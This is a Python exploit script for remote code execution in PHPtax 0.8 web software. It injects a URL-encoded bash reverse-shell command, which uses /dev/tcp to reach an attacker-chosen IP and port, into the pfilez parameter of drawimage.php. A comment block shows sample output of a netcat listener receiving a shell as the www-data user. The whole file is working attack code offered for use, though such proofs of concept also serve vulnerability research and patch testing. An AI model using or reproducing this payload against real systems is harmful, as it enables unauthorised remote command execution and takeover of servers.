#!/usr/bin/env python # PHPtax 0.8 <= Remote Code Execution Exploit # Author: infodox // Discovered by Jean Pascal Pereira # Site: insecurety.net # Twitter: @info_dox # Reference/Advisory: http://www.exploit-db.com/exploits/21665/ import sys import requests import urllib def banner(): print """ PHPTax <= 0.8 Remote Code Execution Exploit Original Discovery by Jean Pascal Pereira This PoC written by infodox - http://insecurety.net Delivers a reverse shell, so have a netcat listening :) """ if len(sys.argv) != 4: banner() print "Usage: ./x2.py " print "Where payload is http://whatever.com/phptax - path to PHPtax with NO trailing /" sys.exit(1) banner() target = sys.argv[1] reverseip = sys.argv[2] reverseport = sys.argv[3] payload = '%2Fbin%2Fbash%20%3E%26%20%2Fdev%2Ftcp%2F'+reverseip+'%2F'+reverseport+'%200%3E%261' vulnurl = target+'/drawimage.php?pfilez=xxx;'+payload+';&pdf=make' print "[*] Target Host: "+target print "[*] Listener IP: "+reverseip print "[*] Listener Port: "+reverseport print "[+] Sending the evil request... may the force be with you!" requests.get(vulnurl) print "[?] Gotshell?" ''' # In terminal 1... Pwnin! [infodox@yore-ma:~/dev/misc-exploits]$ python phptax_RCE.py http://127.0.0.1/phptax 127.0.0.1 443 PHPTax <= 0.8 Remote Code Execution Exploit Original Discovery by Jean Pascal Pereira This PoC written by infodox - http://insecurety.net Delivers a reverse shell, so have a netcat listening :) [*] Target Host: http://127.0.0.1/phptax [*] Listener IP: 127.0.0.1 [*] Listener Port: 443 [+] Sending the evil request... may the force be with you! [?] Gotshell? [infodox@yore-ma:~/dev/insecurety-research/misc-exploits]$ ''' ''' # In terminal 2... Got Shell! [root@yore-ma:~]# nc -lvp 443 listening on [any] 443 ... connect to [127.0.0.1] from localhost [127.0.0.1] 34105 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ^C [root@yore-ma:~]# '''